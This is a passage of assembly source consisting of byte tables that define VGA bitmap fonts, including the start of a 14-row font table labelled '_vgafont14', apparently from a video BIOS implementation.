036h, 0f7h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0f7h, 036h, 036h, 036h db 036h, 036h, 037h, 030h, 037h, 036h, 036h, 036h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 000h, 000h db 036h, 036h, 0f7h, 000h, 0f7h, 036h, 036h, 036h, 018h, 018h, 0ffh, 000h, 0ffh, 000h, 000h, 000h db 036h, 036h, 036h, 036h, 0ffh, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 03fh, 000h, 000h, 000h db 018h, 018h, 01fh, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 01fh, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 03fh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 036h, 036h, 036h db 018h, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 01fh, 018h, 018h, 018h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 000h, 000h, 000h, 000h, 0ffh, 0ffh, 0ffh, 0ffh, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h db 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h db 000h, 000h, 076h, 0dch, 0c8h, 0dch, 076h, 000h, 000h, 078h, 0cch, 0f8h, 0cch, 0f8h, 0c0h, 0c0h db 000h, 0fch, 0cch, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 0feh, 06ch, 06ch, 06ch, 06ch, 06ch, 000h db 0fch, 0cch, 060h, 030h, 060h, 0cch, 0fch, 000h, 000h, 000h, 07eh, 0d8h, 0d8h, 0d8h, 070h, 000h db 000h, 066h, 066h, 066h, 066h, 07ch, 060h, 0c0h, 000h, 076h, 0dch, 018h, 018h, 018h, 018h, 000h db 0fch, 030h, 078h, 0cch, 0cch, 078h, 030h, 0fch, 038h, 06ch, 0c6h, 0feh, 0c6h, 06ch, 038h, 000h db 038h, 06ch, 0c6h, 0c6h, 06ch, 06ch, 0eeh, 000h, 01ch, 030h, 018h, 07ch, 0cch, 0cch, 078h, 000h db 000h, 000h, 07eh, 0dbh, 0dbh, 07eh, 000h, 000h, 006h, 00ch, 07eh, 0dbh, 0dbh, 07eh, 060h, 0c0h db 038h, 060h, 0c0h, 0f8h, 0c0h, 060h, 038h, 000h, 078h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 000h db 000h, 0fch, 000h, 0fch, 000h, 0fch, 000h, 000h, 030h, 030h, 0fch, 030h, 030h, 000h, 0fch, 000h db 060h, 030h, 018h, 030h, 060h, 000h, 0fch, 000h, 018h, 030h, 060h, 030h, 018h, 000h, 0fch, 000h db 00eh, 01bh, 01bh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0d8h, 0d8h, 070h db 030h, 030h, 000h, 0fch, 000h, 030h, 030h, 000h, 000h, 076h, 0dch, 000h, 076h, 0dch, 000h, 000h db 038h, 06ch, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 000h, 000h, 000h, 00fh, 00ch, 00ch, 00ch, 0ech, 06ch, 03ch, 01ch db 078h, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 070h, 018h, 030h, 060h, 078h, 000h, 000h, 000h db 000h, 000h, 03ch, 03ch, 03ch, 03ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _vgafont14: ; 0xc5bec LB 0xe00 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 07eh, 081h, 0a5h, 081h, 081h, 0bdh, 099h, 081h, 07eh, 000h, 000h, 000h, 000h, 000h, 07eh, 0ffh db 0dbh, 0ffh, 0ffh, 0c3h, 0e7h, 0ffh, 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 06ch, 0feh, 0feh db 0feh, 0feh, 07ch, 038h, 010h, 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 07ch, 0feh, 07ch db 038h, 010h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 03ch, 0e7h, 0e7h, 0e7h, 018h, 018h db 03ch, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 07eh, 0ffh, 0ffh, 07eh, 018h, 018h, 03ch, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 03ch, 018h, 000h, 000h, 000h, 000h, 000h db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0e7h, 0c3h, 0c3h, 0e7h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h db 000h, 000h, 03ch, 066h, 042h, 042h, 066h, 03ch, 000h, 000h, 000h, 000h, 0ffh, 0ffh, 0ffh, 0ffh db 0c3h, 099h, 0bdh, 0bdh, 099h, 0c3h, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 01eh, 00eh, 01ah, 032h db 078h, 0cch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 066h, 066h, 03ch, 018h db 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 03fh, 033h, 03fh, 030h, 030h, 030h, 070h, 0f0h db 0e0h, 000h, 000h, 000h, 000h, 000h, 07fh, 063h, 07fh, 063h, 063h, 063h, 067h, 0e7h, 0e6h, 0c0h db 000h, 000h, 000h, 000h, 018h, 018h, 0dbh, 03ch, 0e7h, 03ch, 0dbh, 018h, 018h, 000h, 000h, 000h db 000h, 000h, 080h, 0c0h, 0e0h, 0f8h, 0feh, 0f8h, 0e0h, 0c0h, 080h, 000h, 000h, 000h, 000h, 000h db 002h, 006h, 00eh, 03eh, 0feh, 03eh, 00eh, 006h, 002h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch db 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h db 066h, 066h, 000h, 066h, 066h, 000h, 000h, 000h, 000h, 000h, 07fh, 0dbh, 0dbh, 0dbh, 07bh, 01bh db 01bh, 01bh, 01bh, 000h, 000h, 000h, 000h, 07ch, 0c6h, 060h, 038h, 06ch, 0c6h, 0c6h, 06ch, 038h db 00ch, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 0feh, 0feh, 000h db 000h, 000h, 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 07eh, 000h, 000h db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 00ch, 0feh, 00ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 060h db 0feh, 060h, 030h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0c0h, 0c0h, 0c0h db 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 028h, 06ch, 0feh, 06ch, 028h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 038h, 07ch, 07ch, 0feh, 0feh, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0feh, 0feh, 07ch, 07ch, 038h, 038h, 010h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 03ch, 03ch, 03ch, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 066h, 066h, 066h db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 06ch, 06ch, 0feh, 06ch db 06ch, 06ch, 0feh, 06ch, 06ch, 000h, 000h, 000h, 018h, 018h, 07ch, 0c6h, 0c2h, 0c0h, 07ch, 006h db 086h, 0c6h, 07ch, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 0c2h, 0c6h, 00ch, 018h, 030h, 066h db 0c6h, 000h, 000h, 000h, 000h, 000h, 038h, 06ch, 06ch, 038h, 076h, 0dch, 0cch, 0cch, 076h, 000h db 000h, 000h, 000h, 030h, 030h, 030h, 060h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 00ch, 018h, 030h, 030h, 030h, 030h, 030h, 018h, 00ch, 000h, 000h, 000h, 000h, 000h db 030h, 018h, 00ch, 00ch, 00ch, 00ch, 00ch, 018h, 030h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 066h, 03ch, 0ffh, 03ch, 066h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h db 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 030h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h db 000h, 000h, 000h, 000h, 002h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 080h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0ceh, 0deh, 0f6h, 0e6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h db 018h, 038h, 078h, 018h, 018h, 018h, 018h, 018h, 07eh, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h db 006h, 00ch, 018h, 030h, 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 006h, 006h db 03ch, 006h, 006h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 00ch, 01ch, 03ch, 06ch, 0cch, 0feh db 00ch, 00ch, 01eh, 000h, 000h, 000h, 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 0fch, 006h, 006h, 0c6h db 07ch, 000h, 000h, 000h, 000h, 000h, 038h, 060h, 0c0h, 0c0h, 0fch, 0c6h, 0c6h, 0c6h, 07ch, 000h db 000h, 000h, 000h, 000h, 0feh, 0c6h, 006h, 00ch, 018h, 030h, 030h, 030h, 030h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 07ch, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h db 07ch, 0c6h, 0c6h, 0c6h, 07eh, 006h, 006h, 00ch, 078h, 000h, 000h, 000h, 000h, 000h, 000h, 018h db 018h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h db 000h, 000h, 018h, 018h, 030h, 000h, 000h, 000h, 000h, 000h, 006h, 00ch, 018h, 030h, 060h, 030h db 018h, 00ch, 006h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 000h, 000h, 07eh, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 00ch, 006h, 00ch, 018h, 030h, 060h, 000h db 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 00ch, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0deh, 0deh, 0deh, 0dch, 0c0h, 07ch, 000h, 000h, 000h, 000h, 000h db 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h, 000h, 0fch, 066h db 066h, 066h, 07ch, 066h, 066h, 066h, 0fch, 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 0c2h, 0c0h db 0c0h, 0c0h, 0c2h, 066h, 03ch, 000h, 000h, 000h, 000h, 000h, 0f8h, 06ch, 066h, 066h, 066h, 066h db 066h, 06ch, 0f8h, 000h, 000h, 000h, 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 062h, 066h db 0feh, 000h, 000h, 000h, 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 060h, 060h, 0f0h, 000h db 000h, 000h, 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0deh, 0c6h, 066h, 03ah, 000h, 000h, 000h db 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h, 000h db 03ch, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 01eh, 00ch db 00ch, 00ch, 00ch, 00ch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h, 000h, 0e6h, 066h, 06ch, 06ch db 078h, 06ch, 06ch, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h, 0f0h, 060h, 060h, 060h, 060h, 060h db 062h, 066h, 0feh, 000h, 000h, 000h, 000h, 000h, 0c6h, 0eeh, 0feh, 0feh, 0d6h, 0c6h, 0c6h, 0c6h db 0c6h, 000h, 000h, 000h, 000h, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h, 0c6h, 0c6h, 000h db 000h, 000h, 000h, 000h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h, 000h db 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0d6h, 0deh, 07ch, 00ch, 00eh, 000h, 000h, 000h, 000h, 0fch, 066h db 066h, 066h, 07ch, 06ch, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 060h db 038h, 00ch, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 07eh, 07eh, 05ah, 018h, 018h, 018h db 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h db 07ch, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 06ch, 038h, 010h, 000h db 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0d6h, 0d6h, 0feh, 07ch, 06ch, 000h, 000h, 000h db 000h, 000h, 0c6h, 0c6h, 06ch, 038h, 038h, 038h, 06ch, 0c6h, 0c6h, 000h, 000h, 000h, 000h, 000h db 066h, 066h, 066h, 066h, 03ch, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 0feh, 0c6h db 08ch, 018h, 030h, 060h, 0c2h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h, 03ch, 030h, 030h, 030h db 030h, 030h, 030h, 030h, 03ch, 000h, 000h, 000h, 000h, 000h, 080h, 0c0h, 0e0h, 070h, 038h, 01ch db 00eh, 006h, 002h, 000h, 000h, 000h, 000h, 000h, 03ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch db 03ch, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h db 030h, 030h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 0e0h, 060h db 060h, 078h, 06ch, 066h, 066h, 066h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch db 0c6h, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 01ch, 00ch, 00ch, 03ch, 06ch, 0cch db 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h db 07ch, 000h, 000h, 000h, 000h, 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h, 060h, 0f0h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 07ch, 00ch, 0cch, 078h, 000h db 000h, 000h, 0e0h, 060h, 060h, 06ch, 076h, 066h, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 000h, 038h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 006h, 006h db 000h, 00eh, 006h, 006h, 006h, 006h, 066h, 066h, 03ch, 000h, 000h, 000h, 0e0h, 060h, 060h, 066h db 06ch, 078h, 06ch, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h, 038h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ech, 0feh, 0d6h, 0d6h, 0d6h db 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 07ch, 060h, 060h, 0f0h, 000h, 000h, 000h db 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 07ch, 00ch, 00ch, 01eh, 000h, 000h, 000h, 000h, 000h db 000h, 0dch, 076h, 066h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch db 0c6h, 070h, 01ch, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 010h, 030h, 030h, 0fch, 030h, 030h db 030h, 036h, 01ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch db 076h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h, 03ch, 018h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0d6h, 0d6h, 0feh, 06ch, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0c6h, 06ch, 038h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 0f8h, 000h, 000h, 000h, 000h, 000h db 000h, 0feh, 0cch, 018h, 030h, 066h, 0feh, 000h, 000h, 000h, 000h, 000h, 00eh, 018h, 018h, 018h db 070h, 018h, 018h, 018h, 00eh, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 000h, 018h db 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 070h, 018h, 018h, 018h, 00eh, 018h, 018h, 018h db 070h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0c2h, 066h, 03ch, 00ch, 006h, 07ch, 000h, 000h, 000h db 0cch, 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 00ch, 018h, 030h db 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 000h, 078h db 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 0cch, 0cch, 000h, 078h, 00ch, 07ch db 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 000h, 078h, 00ch, 07ch, 0cch, 0cch db 076h, 000h, 000h, 000h, 000h, 038h, 06ch, 038h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 076h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 060h, 066h, 03ch, 00ch, 006h, 03ch, 000h, 000h db 000h, 010h, 038h, 06ch, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h db 0cch, 0cch, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 060h, 030h, 018h db 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 000h, 038h db 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 018h, 03ch, 066h, 000h, 038h, 018h, 018h db 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 000h, 038h, 018h, 018h, 018h, 018h db 03ch, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 000h db 000h, 000h, 038h, 06ch, 038h, 000h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 000h, 000h, 000h db 018h, 030h, 060h, 000h, 0feh, 066h, 060h, 07ch, 060h, 066h, 0feh, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 0cch, 076h, 036h, 07eh, 0d8h, 0d8h, 06eh, 000h, 000h, 000h, 000h, 000h, 03eh, 06ch db 0cch, 0cch, 0feh, 0cch, 0cch, 0cch, 0ceh, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 000h, 07ch db 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 000h, 07ch, 0c6h, 0c6h db 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h db 07ch, 000h, 000h, 000h, 000h, 030h, 078h, 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h db 000h, 000h, 000h, 060h, 030h, 018h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h db 000h, 000h, 0c6h, 0c6h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 078h, 000h, 000h, 0c6h db 0c6h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 000h db 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 018h, 018h, 03ch, 066h, 060h db 060h, 066h, 03ch, 018h, 018h, 000h, 000h, 000h, 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h db 060h, 0e6h, 0fch, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 03ch, 018h, 07eh, 018h, 07eh, 018h db 018h, 000h, 000h, 000h, 000h, 0f8h, 0cch, 0cch, 0f8h, 0c4h, 0cch, 0deh, 0cch, 0cch, 0c6h, 000h db 000h, 000h, 000h, 00eh, 01bh, 018h, 018h, 018h, 07eh, 018h, 018h, 018h, 018h, 0d8h, 070h, 000h db 000h, 018h, 030h, 060h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 00ch db 018h, 030h, 000h, 038h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 018h, 030h, 060h db 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 018h, 030h, 060h, 000h, 0cch db 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 0dch, 066h, 066h db 066h, 066h, 066h, 000h, 000h, 000h, 076h, 0dch, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h db 0c6h, 000h, 000h, 000h, 000h, 03ch, 06ch, 06ch, 03eh, 000h, 07eh, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 038h, 06ch, 06ch, 038h, 000h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 030h, 030h, 000h, 030h, 030h, 060h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 006h, 006h, 006h, 000h, 000h, 000h, 000h, 000h, 0c0h, 0c0h, 0c6h, 0cch, 0d8h db 030h, 060h, 0dch, 086h, 00ch, 018h, 03eh, 000h, 000h, 0c0h, 0c0h, 0c6h, 0cch, 0d8h, 030h, 066h db 0ceh, 09eh, 03eh, 006h, 006h, 000h, 000h, 000h, 018h, 018h, 000h, 018h, 018h, 03ch, 03ch, 03ch db 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 036h, 06ch, 0d8h, 06ch, 036h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 0d8h, 06ch, 036h, 06ch, 0d8h, 000h, 000h, 000h, 000h, 000h db 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 055h, 0aah db 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 0ddh, 077h, 0ddh, 077h db 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 018h, 018h db 018h, 018h, 018h, 018h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0f6h, 036h, 036h, 036h, 036h db 036h, 036h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 036h, 036h, 036h, 036h, 036h, 036h db 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 036h, 036h db 036h, 036h, 036h, 0f6h, 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 000h, 000h, 000h, 000h, 000h, 0feh db 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0f6h, 006h, 0feh db 000h, 000h, 000h, 000h, 000h, 000h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0feh, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh db 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh, 018h, 018h, 018h, 018h db 018h, 018h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 037h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 037h, 030h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 03fh, 030h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 0f7h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh db 000h, 0f7h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 037h, 030h, 037h db 036h, 036h, 036h, 036h, 036h, 036h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 000h db 000h, 000h, 000h, 000h, 036h, 036h, 036h, 036h, 036h, 0f7h, 000h, 0f7h, 036h, 036h, 036h, 036h db 036h, 036h, 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 0ffh, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 